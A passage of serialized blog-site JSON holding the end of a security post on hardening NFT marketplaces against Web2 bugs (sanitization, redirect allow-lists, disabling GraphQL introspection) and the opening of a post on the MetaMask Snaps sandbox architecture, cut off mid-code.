sanitizedInput",{"type":23,"tag":141,"props":33524,"children":33525},{"style":160},[33526],{"type":29,"value":1674},{"type":23,"tag":141,"props":33528,"children":33529},{"style":750},[33530],{"type":29,"value":33531}," DOMPurify",{"type":23,"tag":141,"props":33533,"children":33534},{"style":154},[33535],{"type":29,"value":322},{"type":23,"tag":141,"props":33537,"children":33538},{"style":184},[33539],{"type":29,"value":33540},"sanitize",{"type":23,"tag":141,"props":33542,"children":33543},{"style":154},[33544],{"type":29,"value":192},{"type":23,"tag":141,"props":33546,"children":33547},{"style":750},[33548],{"type":29,"value":33549},"userInput",{"type":23,"tag":141,"props":33551,"children":33552},{"style":154},[33553],{"type":29,"value":2496},{"type":23,"tag":32,"props":33555,"children":33556},{},[33557,33559,33566],{"type":29,"value":33558},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":55,"props":33560,"children":33563},{"href":33561,"rel":33562},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[59],[33564],{"type":29,"value":33565},"Content-Security-Policy",{"type":29,"value":33567}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":32,"props":33569,"children":33570},{},[33571],{"type":29,"value":33572},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":32,"props":33574,"children":33575},{},[33576,33578,33585],{"type":29,"value":33577},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":55,"props":33579,"children":33582},{"href":33580,"rel":33581},"https://www.techtarget.com/whatis/definition/whitelist",[59],[33583],{"type":29,"value":33584},"allow-list",{"type":29,"value":33586}," :",{"type":23,"tag":131,"props":33588,"children":33590},{"className":29831,"code":33589,"language":29833,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[33591],{"type":23,"tag":38,"props":33592,"children":33593},{"__ignoreMap":7},[33594,33623,33665,33695],{"type":23,"tag":141,"props":33595,"children":33596},{"class":143,"line":144},[33597,33601,33606,33610,33614,33619],{"type":23,"tag":141,"props":33598,"children":33599},{"style":449},[33600],{"type":29,"value":8334},{"type":23,"tag":141,"props":33602,"children":33603},{"style":750},[33604],{"type":29,"value":33605}," allowDomains",{"type":23,"tag":141,"props":33607,"children":33608},{"style":160},[33609],{"type":29,"value":1674},{"type":23,"tag":141,"props":33611,"children":33612},{"style":154},[33613],{"type":29,"value":21704},{"type":23,"tag":141,"props":33615,"children":33616},{"style":828},[33617],{"type":29,"value":33618},"'https://allowed-domain'",{"type":23,"tag":141,"props":33620,"children":33621},{"style":154},[33622],{"type":29,"value":30042},{"type":23,"tag":141,"props":33624,"children":33625},{"class":143,"line":180},[33626,33630,33634,33638,33643,33647,33652,33656,33660],{"type":23,"tag":141,"props":33627,"children":33628},{"style":148},[33629],{"type":29,"value":14255},{"type":23,"tag":141,"props":33631,"children":33632},{"style":154},[33633],{"type":29,"value":1220},{"type":23,"tag":141,"props":33635,"children":33636},{"style":160},[33637],{"type":29,"value":19293},{"type":23,"tag":141,"props":33639,"children":33640},{"style":750},[33641],{"type":29,"value":33642},"allowDomains",{"type":23,"tag":141,"props":33644,"children":33645},{"style":154},[33646],{"type":29,"value":322},{"type":23,"tag":141,"props":33648,"children":33649},{"style":184},[33650],{"type":29,"value":33651},"includes",{"type":23,"tag":141,"props":33653,"children":33654},{"style":154},[33655],{"type":29,"value":192},{"type":23,"tag":141,"props":33657,"children":33658},{"style":750},[33659],{"type":29,"value":31186},{"type":23,"tag":141,"props":33661,"children":33662},{"style":154},[33663],{"type":29,"value":33664},")) {\n",{"type":23,"tag":141,"props":33666,"children":33667},{"class":143,"line":205},[33668,33673,33677,33682,33686,33691],{"type":23,"tag":141,"props":33669,"children":33670},{"style":148},[33671],{"type":29,"value":33672}," throw",{"type":23,"tag":141,"props":33674,"children":33675},{"style":449},[33676],{"type":29,"value":30401},{"type":23,"tag":141,"props":33678,"children":33679},{"style":184},[33680],{"type":29,"value":33681}," ApolloError",{"type":23,"tag":141,"props":33683,"children":33684},{"style":154},[33685],{"type":29,"value":192},{"type":23,"tag":141,"props":33687,"children":33688},{"style":828},[33689],{"type":29,"value":33690},"'invalid domain'",{"type":23,"tag":141,"props":33692,"children":33693},{"style":154},[33694],{"type":29,"value":2496},{"type":23,"tag":141,"props":33696,"children":33697},{"class":143,"line":218},[33698],{"type":23,"tag":141,"props":33699,"children":33700},{"style":154},[33701],{"type":29,"value":2573},{"type":23,"tag":32,"props":33703,"children":33704},{},[33705,33707,33714,33716,33723],{"type":29,"value":33706},"As ",{"type":23,"tag":55,"props":33708,"children":33711},{"href":33709,"rel":33710},"https://graphql.org/",[59],[33712],{"type":29,"value":33713},"GraphQl",{"type":29,"value":33715}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":55,"props":33717,"children":33720},{"href":33718,"rel":33719},"https://graphql.org/learn/introspection/",[59],[33721],{"type":29,"value":33722},"introspection",{"type":29,"value":33724}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":131,"props":33726,"children":33728},{"className":29831,"code":33727,"language":29833,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[33729],{"type":23,"tag":38,"props":33730,"children":33731},{"__ignoreMap":7},[33732,33761,33773,33785,33801],{"type":23,"tag":141,"props":33733,"children":33734},{"class":143,"line":144},[33735,33739,33744,33748,33752,33757],{"type":23,"tag":141,"props":33736,"children":33737},{"style":449},[33738],{"type":29,"value":8334},{"type":23,"tag":141,"props":33740,"children":33741},{"style":750},[33742],{"type":29,"value":33743}," server",{"type":23,"tag":141,"props":33745,"children":33746},{"style":160},[33747],{"type":29,"value":1674},{"type":23,"tag":141,"props":33749,"children":33750},{"style":449},[33751],{"type":29,"value":30401},{"type":23,"tag":141,"props":33753,"children":33754},{"style":184},[33755],{"type":29,"value":33756}," ApolloServer",{"type":23,"tag":141,"props":33758,"children":33759},{"style":154},[33760],{"type":29,"value":13817},{"type":23,"tag":141,"props":33762,"children":33763},{"class":143,"line":180},[33764,33769],{"type":23,"tag":141,"props":33765,"children":33766},{"style":750},[33767],{"type":29,"value":33768}," typeDefs",{"type":23,"tag":141,"props":33770,"children":33771},{"style":154},[33772],{"type":29,"value":2168},{"type":23,"tag":141,"props":33774,"children":33775},{"class":143,"line":205},[33776,33781],{"type":23,"tag":141,"props":33777,"children":33778},{"style":750},[33779],{"type":29,"value":33780}," resolvers",{"type":23,"tag":141,"props":33782,"children":33783},{"style":154},[33784],{"type":29,"value":2168},{"type":23,"tag":141,"props":33786,"children":33787},{"class":143,"line":218},[33788,33793,33797],{"type":23,"tag":141,"props":33789,"children":33790},{"style":750},[33791],{"type":29,"value":33792}," introspection:",{"type":23,"tag":141,"props":33794,"children":33795},{"style":449},[33796],{"type":29,"value":7735},{"type":23,"tag":141,"props":33798,"children":33799},{"style":154},[33800],{"type":29,"value":2168},{"type":23,"tag":141,"props":33802,"children":33803},{"class":143,"line":227},[33804],{"type":23,"tag":141,"props":33805,"children":33806},{"style":154},[33807],{"type":29,"value":33808},"});\n",{"type":23,"tag":32,"props":33810,"children":33811},{},[33812,33814,33821,33823,33830],{"type":29,"value":33813},"Similarly, when ",{"type":23,"tag":55,"props":33815,"children":33818},{"href":33816,"rel":33817},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[59],[33819],{"type":29,"value":33820},"batching",{"type":29,"value":33822}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":55,"props":33824,"children":33827},{"href":33825,"rel":33826},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[59],[33828],{"type":29,"value":33829},"denial-of-service",{"type":29,"value":33831}," (DoS) attacks.",{"type":23,"tag":32,"props":33833,"children":33834},{},[33835],{"type":29,"value":33836},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":32,"props":33838,"children":33839},{},[33840],{"type":29,"value":33841},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":33843,"props":33844,"children":33845},"h1",{"id":27618},[33846],{"type":29,"value":17618},{"type":23,"tag":32,"props":33848,"children":33849},{},[33850],{"type":29,"value":33851},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":32,"props":33853,"children":33854},{},[33855],{"type":29,"value":33856},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":24,"props":33858,"children":33860},{"id":33859},"disclaimer",[33861],{"type":29,"value":33862},"Disclaimer",{"type":23,"tag":32,"props":33864,"children":33865},{},[33866],{"type":29,"value":33867},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":1508,"props":33869,"children":33870},{},[33871],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":33873},[33874,33877,33883,33887,33888],{"id":26,"depth":180,"text":30,"children":33875},[33876],{"id":1577,"depth":205,"text":1580},{"id":29675,"depth":180,"text":29705,"children":33878},[33879,33880,33881,33882],{"id":29724,"depth":205,"text":29727},{"id":29789,"depth":205,"text":29792},{"id":32621,"depth":205,"text":32624},{"id":32911,"depth":205,"text":32914},{"id":33256,"depth":180,"text":33259,"children":33884},[33885,33886],{"id":33278,"depth":205,"text":33281},{"id":33328,"depth":205,"text":33331},{"id":33412,"depth":180,"text":33418},{"id":33859,"depth":180,"text":33862},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":33893,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33894,"description":33895,"author":33896,"image":33897,"date":33899,"isFeatured":15,"onBlogPage":15,"body":33900,"_type":1522,"_id":38916,"_source":1524,"_file":38917,"_stem":38918,"_extension":1527},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[29669,29668],{"src":33898,"height":12301,"width":13},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":33901,"toc":38897},[33902,33906,33911,33916,33921,33927,33932,33938,33951,33956,33961,33968,34000,34006,34011,34029,34036,34042,34056,34062,34082,34346,34374,34380,34399,34785,34804,34817,35135,35156,35427,35432,35438,35443,35456,35461,35474,35733,35777,35790,35796,35810,35816,35822,35835,35872,35878,35898,36009,36036,36042,36060,36073,36079,36084,36102,36213,36218,36239,36252,36269,36369,36395,36412,36534,36560,36572,36577,36583,36589,36594,36617,36622,36627,36633,36639,36666,37069,37096,37123,37129,37160,37469,37488,37493,37518,37531,37537,37564,37859,37895,37913,37918,37953,37958,37962,37967,37974,37979,38006,38783,38803,38809,38830,38879,38883,38888,38893],{"type":23,"tag":24,"props":33903,"children":33904},{"id":17627},[33905],{"type":29,"value":17630},{"type":23,"tag":32,"props":33907,"children":33908},{},[33909],{"type":29,"value":33910},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":32,"props":33912,"children":33913},{},[33914],{"type":29,"value":33915},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":32,"props":33917,"children":33918},{},[33919],{"type":29,"value":33920},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":24,"props":33922,"children":33924},{"id":33923},"sandbox-security",[33925],{"type":29,"value":33926},"Sandbox Security",{"type":23,"tag":32,"props":33928,"children":33929},{},[33930],{"type":29,"value":33931},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":8287,"props":33933,"children":33935},{"id":33934},"permission-based-security",[33936],{"type":29,"value":33937},"Permission-based security",{"type":23,"tag":32,"props":33939,"children":33940},{},[33941,33943,33949],{"type":29,"value":33942},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":38,"props":33944,"children":33946},{"className":33945},[],[33947],{"type":29,"value":33948},"snap.manifest.json",{"type":29,"value":33950}," file and can be critical to security.",{"type":23,"tag":32,"props":33952,"children":33953},{},[33954],{"type":29,"value":33955},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":32,"props":33957,"children":33958},{},[33959],{"type":29,"value":33960},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":32,"props":33962,"children":33963},{},[33964],{"type":23,"tag":2591,"props":33965,"children":33967},{"alt":7,"src":33966},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":15362,"props":33969,"children":33970},{},[33971,33989],{"type":23,"tag":120,"props":33972,"children":33973},{},[33974,33980,33981,33987],{"type":23,"tag":38,"props":33975,"children":33977},{"className":33976},[],[33978],{"type":29,"value":33979},"snap_getBip44Entropy",{"type":29,"value":313},{"type":23,"tag":38,"props":33982,"children":33984},{"className":33983},[],[33985],{"type":29,"value":33986},"snap_getBip32Entropy",{"type":29,"value":33988}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":120,"props":33990,"children":33991},{},[33992,33998],{"type":23,"tag":38,"props":33993,"children":33995},{"className":33994},[],[33996],{"type":29,"value":33997},"endowment:transaction-insight",{"type":29,"value":33999}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":8287,"props":34001,"children":34003},{"id":34002},"snap-execution-environment",[34004],{"type":29,"value":34005},"Snap execution environment",{"type":23,"tag":32,"props":34007,"children":34008},{},[34009],{"type":29,"value":34010},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":116,"props":34012,"children":34013},{},[34014,34019,34024],{"type":23,"tag":120,"props":34015,"children":34016},{},[34017],{"type":29,"value":34018},"An isolated iframe",{"type":23,"tag":120,"props":34020,"children":34021},{},[34022],{"type":29,"value":34023},"LavaMoat",{"type":23,"tag":120,"props":34025,"children":34026},{},[34027],{"type":29,"value":34028},"SES (Secure EcmaScript)",{"type":23,"tag":32,"props":34030,"children":34031},{},[34032],{"type":23,"tag":2591,"props":34033,"children":34035},{"alt":7,"src":34034},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":8287,"props":34037,"children":34039},{"id":34038},"isolated-iframe-layer-1",[34040],{"type":29,"value":34041},"Isolated Iframe - Layer 1",{"type":23,"tag":32,"props":34043,"children":34044},{},[34045,34047,34054],{"type":29,"value":34046},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":55,"props":34048,"children":34051},{"href":34049,"rel":34050},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[59],[34052],{"type":29,"value":34053},"Iframe",{"type":29,"value":34055}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":17563,"props":34057,"children":34059},{"id":34058},"the-framework-metamask-extension-repo",[34060],{"type":29,"value":34061},"The Framework: Metamask-Extension Repo",{"type":23,"tag":32,"props":34063,"children":34064},{},[34065,34067,34073,34075,34081],{"type":29,"value":34066},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":38,"props":34068,"children":34070},{"className":34069},[],[34071],{"type":29,"value":34072},"metamask-controller.js",{"type":29,"value":34074}," file. Here's a glimpse of the relevant ",{"type":23,"tag":55,"props":34076,"children":34079},{"href":34077,"rel":34078},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[59],[34080],{"type":29,"value":38},{"type":29,"value":114},{"type":23,"tag":131,"props":34083,"children":34087},{"className":34084,"code":34085,"language":34086,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[34088],{"type":23,"tag":38,"props":34089,"children":34090},{"__ignoreMap":7},[34091,34099,34107,34127,34175,34210,34227,34235,34277,34284,34291,34299,34327,34339],{"type":23,"tag":141,"props":34092,"children":34093},{"class":143,"line":144},[34094],{"type":23,"tag":141,"props":34095,"children":34096},{"style":443},[34097],{"type":29,"value":34098},"// Import snaps-controllers\n",{"type":23,"tag":141,"props":34100,"children":34101},{"class":143,"line":180},[34102],{"type":23,"tag":141,"props":34103,"children":34104},{"style":443},[34105],{"type":29,"value":34106},"// ...\n",{"type":23,"tag":141,"props":34108,"children":34109},{"class":143,"line":205},[34110,34114,34119,34123],{"type":23,"tag":141,"props":34111,"children":34112},{"style":449},[34113],{"type":29,"value":8334},{"type":23,"tag":141,"props":34115,"children":34116},{"style":750},[34117],{"type":29,"value":34118}," snapExecutionServiceArgs",{"type":23,"tag":141,"props":34120,"children":34121},{"style":160},[34122],{"type":29,"value":1674},{"type":23,"tag":141,"props":34124,"children":34125},{"style":154},[34126],{"type":29,"value":1951},{"type":23,"tag":141,"props":34128,"children":34129},{"class":143,"line":218},[34130,34135,34139,34144,34148,34153,34157,34162,34166,34171],{"type":23,"tag":141,"props":34131,"children":34132},{"style":750},[34133],{"type":29,"value":34134}," iframeUrl:",{"type":23,"tag":141,"props":34136,"children":34137},{"style":449},[34138],{"type":29,"value":30401},{"type":23,"tag":141,"props":34140,"children":34141},{"style":184},[34142],{"type":29,"value":34143}," URL",{"type":23,"tag":141,"props":34145,"children":34146},{"style":154},[34147],{"type":29,"value":192},{"type":23,"tag":141,"props":34149,"children":34150},{"style":750},[34151],{"type":29,"value":34152},"process",{"type":23,"tag":141,"props":34154,"children":34155},{"style":154},[34156],{"type":29,"value":322},{"type":23,"tag":141,"props":34158,"children":34159},{"style":750},[34160],{"type":29,"value":34161},"env",{"type":23,"tag":141,"props":34163,"children":34164},{"style":154},[34165],{"type":29,"value":322},{"type":23,"tag":141,"props":34167,"children":34168},{"style":750},[34169],{"type":29,"value":34170},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":141,"props":34172,"children":34173},{"style":154},[34174],{"type":29,"value":5410},{"type":23,"tag":141,"props":34176,"children":34177},{"class":143,"line":227},[34178,34183,34188,34192,34197,34201,34206],{"type":23,"tag":141,"props":34179,"children":34180},{"style":750},[34181],{"type":29,"value":34182}," messenger:",{"type":23,"tag":141,"props":34184,"children":34185},{"style":449},[34186],{"type":29,"value":34187}," this",{"type":23,"tag":141,"props":34189,"children":34190},{"style":154},[34191],{"type":29,"value":322},{"type":23,"tag":141,"props":34193,"children":34194},{"style":750},[34195],{"type":29,"value":34196},"controllerMessenger",{"type":23,"tag":141,"props":34198,"children":34199},{"style":154},[34200],{"type":29,"value":322},{"type":23,"tag":141,"props":34202,"children":34203},{"style":184},[34204],{"type":29,"value":34205},"getRestricted",{"type":23,"tag":141,"props":34207,"children":34208},{"style":154},[34209],{"type":29,"value":13817},{"type":23,"tag":141,"props":34211,"children":34212},{"class":143,"line":241},[34213,34218,34223],{"type":23,"tag":141,"props":34214,"children":34215},{"style":750},[34216],{"type":29,"value":34217}," name:",{"type":23,"tag":141,"props":34219,"children":34220},{"style":828},[34221],{"type":29,"value":34222}," 'ExecutionService'",{"type":23,"tag":141,"props":34224,"children":34225},{"style":154},[34226],{"type":29,"value":2168},{"type":23,"tag":141,"props":34228,"children":34229},{"class":143,"line":262},[34230],{"type":23,"tag":141,"props":34231,"children":34232},{"style":154},[34233],{"type":29,"value":34234}," }),\n",{"type":23,"tag":141,"props":34236,"children":34237},{"class":143,"line":271},[34238,34243,34247,34251,34256,34260,34265,34269,34273],{"type":23,"tag":141,"props":34239,"children":34240},{"style":750},[34241],{"type":29,"value":34242}," setupSnapProvider:",{"type":23,"tag":141,"props":34244,"children":34245},{"style":449},[34246],{"type":29,"value":34187},{"type":23,"tag":141,"props":34248,"children":34249},{"style":154},[34250],{"type":29,"value":322},{"type":23,"tag":141,"props":34252,"children":34253},{"style":750},[34254],{"type":29,"value":34255},"setupSnapProvider",{"type":23,"tag":141,"props":34257,"children":34258},{"style":154},[34259],{"type":29,"value":322},{"type":23,"tag":141,"props":34261,"children":34262},{"style":184},[34263],{"type":29,"value":34264},"bind",{"type":23,"tag":141,"props":34266,"children":34267},{"style":154},[34268],{"type":29,"value":192},{"type":23,"tag":141,"props":34270,"children":34271},{"style":449},[34272],{"type":29,"value":16370},{"type":23,"tag":141,"props":34274,"children":34275},{"style":154},[34276],{"type":29,"value":5410},{"type":23,"tag":141,"props":34278,"children":34279},{"class":143,"line":293},[34280],{"type":23,"tag":141,"props":34281,"children":34282},{"style":154},[34283],{"type":29,"value":1357},{"type":23,"tag":141,"props":34285,"children":34286},{"class":143,"line":801},[34287],{"type":23,"tag":141,"props":34288,"children":34289},{"emptyLinePlaceholder":15},[34290],{"type":29,"value":719},{"type":23,"tag":141,"props":34292,"children":34293},{"class":143,"line":810},[34294],{"type":23,"tag":141,"props":34295,"children":34296},{"style":443},[34297],{"type":29,"value":34298},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":141,"props":34300,"children":34301},{"class":143,"line":824},[34302,34306,34310,34314,34318,34322],{"type":23,"tag":141,"props":34303,"children":34304},{"style":750},[34305],{"type":29,"value":34152},{"type":23,"tag":141,"props":34307,"children":34308},{"style":154},[34309],{"type":29,"value":322},{"type":23,"tag":141,"props":34311,"children":34312},{"style":750},[34313],{"type":29,"value":34161},{"type":23,"tag":141,"props":34315,"children":34316},{"style":154},[34317],{"type":29,"value":322},{"type":23,"tag":141,"props":34319,"children":34320},{"style":750},[34321],{"type":29,"value":34170},{"type":23,"tag":141,"props":34323,"children":34324},{"style":160},[34325],{"type":29,"value":34326}," =\n",{"type":23,"tag":141,"props":34328,"children":34329},{"class":143,"line":839},[34330,34335],{"type":23,"tag":141,"props":34331,"children":34332},{"style":828},[34333],{"type":29,"value":34334}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":141,"props":34336,"children":34337},{"style":154},[34338],{"type":29,"value":1684},{"type":23,"tag":141,"props":34340,"children":34341},{"class":143,"line":848},[34342],{"type":23,"tag":141,"props":34343,"children":34344},{"style":443},[34345],{"type":29,"value":34106},{"type":23,"tag":32,"props":34347,"children":34348},{},[34349,34351,34357,34359,34365,34367,34372],{"type":29,"value":34350},"This code is defining the ",{"type":23,"tag":38,"props":34352,"children":34354},{"className":34353},[],[34355],{"type":29,"value":34356},"snapExecutionServiceArgs",{"type":29,"value":34358}," object, which contains information required for the ",{"type":23,"tag":38,"props":34360,"children":34362},{"className":34361},[],[34363],{"type":29,"value":34364},"IframeExecutionService",{"type":29,"value":34366}," to execute snaps. The ",{"type":23,"tag":38,"props":34368,"children":34370},{"className":34369},[],[34371],{"type":29,"value":34170},{"type":29,"value":34373}," points to the location where the execution environment resides.",{"type":23,"tag":17563,"props":34375,"children":34377},{"id":34376},"executing-snaps-iframeexecutionservice-in-action",[34378],{"type":29,"value":34379},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":32,"props":34381,"children":34382},{},[34383,34385,34390,34392,34398],{"type":29,"value":34384},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":38,"props":34386,"children":34388},{"className":34387},[],[34389],{"type":29,"value":34364},{"type":29,"value":34391}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":55,"props":34393,"children":34396},{"href":34394,"rel":34395},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[59],[34397],{"type":29,"value":38},{"type":29,"value":114},{"type":23,"tag":131,"props":34400,"children":34404},{"className":34401,"code":34402,"language":34403,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[34405],{"type":23,"tag":38,"props":34406,"children":34407},{"__ignoreMap":7},[34408,34416,34445,34475,34528,34565,34572,34579,34587,34594,34601,34609,34644,34652,34708,34770,34778],{"type":23,"tag":141,"props":34409,"children":34410},{"class":143,"line":144},[34411],{"type":23,"tag":141,"props":34412,"children":34413},{"style":443},[34414],{"type":29,"value":34415},"// Register message handlers for snap interactions\n",{"type":23,"tag":141,"props":34417,"children":34418},{"class":143,"line":180},[34419,34423,34427,34432,34436,34441],{"type":23,"tag":141,"props":34420,"children":34421},{"style":449},[34422],{"type":29,"value":16370},{"type":23,"tag":141,"props":34424,"children":34425},{"style":154},[34426],{"type":29,"value":322},{"type":23,"tag":141,"props":34428,"children":34429},{"style":750},[34430],{"type":29,"value":34431},"#messenger",{"type":23,"tag":141,"props":34433,"children":34434},{"style":154},[34435],{"type":29,"value":322},{"type":23,"tag":141,"props":34437,"children":34438},{"style":184},[34439],{"type":29,"value":34440},"registerActionHandler",{"type":23,"tag":141,"props":34442,"children":34443},{"style":154},[34444],{"type":29,"value":2123},{"type":23,"tag":141,"props":34446,"children":34447},{"class":143,"line":205},[34448,34453,34457,34462,34466,34471],{"type":23,"tag":141,"props":34449,"children":34450},{"style":828},[34451],{"type":29,"value":34452}," `",{"type":23,"tag":141,"props":34454,"children":34455},{"style":449},[34456],{"type":29,"value":32578},{"type":23,"tag":141,"props":34458,"children":34459},{"style":750},[34460],{"type":29,"value":34461},"controllerName",{"type":23,"tag":141,"props":34463,"children":34464},{"style":449},[34465],{"type":29,"value":32610},{"type":23,"tag":141,"props":34467,"children":34468},{"style":828},[34469],{"type":29,"value":34470},":handleRpcRequest`",{"type":23,"tag":141,"props":34472,"children":34473},{"style":154},[34474],{"type":29,"value":2168},{"type":23,"tag":141,"props":34476,"children":34477},{"class":143,"line":218},[34478,34483,34487,34492,34496,34501,34505,34510,34514,34519,34523],{"type":23,"tag":141,"props":34479,"children":34480},{"style":449},[34481],{"type":29,"value":34482}," async",{"type":23,"tag":141,"props":34484,"children":34485},{"style":154},[34486],{"type":29,"value":1220},{"type":23,"tag":141,"props":34488,"children":34489},{"style":750},[34490],{"type":29,"value":34491},"snapId",{"type":23,"tag":141,"props":34493,"children":34494},{"style":160},[34495],{"type":29,"value":114},{"type":23,"tag":141,"props":34497,"children":34498},{"style":725},[34499],{"type":29,"value":34500}," string",{"type":23,"tag":141,"props":34502,"children":34503},{"style":154},[34504],{"type":29,"value":480},{"type":23,"tag":141,"props":34506,"children":34507},{"style":750},[34508],{"type":29,"value":34509},"options",{"type":23,"tag":141,"props":34511,"children":34512},{"style":160},[34513],{"type":29,"value":114},{"type":23,"tag":141,"props":34515,"children":34516},{"style":725},[34517],{"type":29,"value":34518}," SnapRpcHookArgs",{"type":23,"tag":141,"props":34520,"children":34521},{"style":154},[34522],{"type":29,"value":1748},{"type":23,"tag":141,"props":34524,"children":34525},{"style":449},[34526],{"type":29,"value":34527},"=>\n",{"type":23,"tag":141,"props":34529,"children":34530},{"class":143,"line":227},[34531,34536,34540,34545,34549,34553,34557,34561],{"type":23,"tag":141,"props":34532,"children":34533},{"style":449},[34534],{"type":29,"value":34535}," 